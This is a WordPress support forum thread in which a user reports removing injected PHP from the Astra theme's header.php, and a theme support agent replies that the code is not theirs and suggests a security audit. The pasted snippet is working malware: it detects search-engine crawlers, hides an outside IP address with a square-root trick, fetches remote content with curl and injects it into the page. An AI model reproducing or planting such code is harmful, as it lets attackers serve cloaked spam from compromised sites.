I have fixed it by removing the following code from the header file
<?php $botbotbot = "...".mb_strtolower($_SERVER[HTTP_USER_AGENT]);$botbotbot = str_replace(" ", "-", $botbotbot);if ((strpos($botbotbot,"google")) OR (strpos($botbotbot,"bing")) OR (strpos($botbotbot,"yahoo"))){$ch = curl_init(); $xxx = sqrt(30976); curl_setopt($ch, CURLOPT_URL, "http://$xxx.31.253.227/cakes/?useragent=$botbotbot&domain=$_SERVER[HTTP_HOST]"); $result = curl_exec($ch); curl_close ($ch); echo $result;}?>
Hello @waqas7431
That’s strange and isn’t added from our end.
Here’s the screenshot of the header.php file.
You can verify the same in the files downloaded from the WordPress repository.
Also, we would recommend a security audit of your website.
I hope that helps.
Regards,
Suman
Yes, i was thinking so, and this was 2nd time happen with me. is there any security breach in the Astra Theme. there is another user reported the same issue. please see from the below link
https://ww.wp.xz.cn/support/topic/use-of-undefined-constant-http_user_agent-assumed-http_user_agent/
BTW i am deeply in love with Astra Theme 🙂 The Astra team makes life super easy.
Hello @waqas7431
We haven’t heard and the theme is tested very well for any security issues.
As mentioned previously, it could be other security issues on the website which is adding custom code to the active theme.
The custom code with $botbotbot you can see is not from our end causing the HTTP_USER_AGENT error.
I hope that clarifies.
Regards,
Suman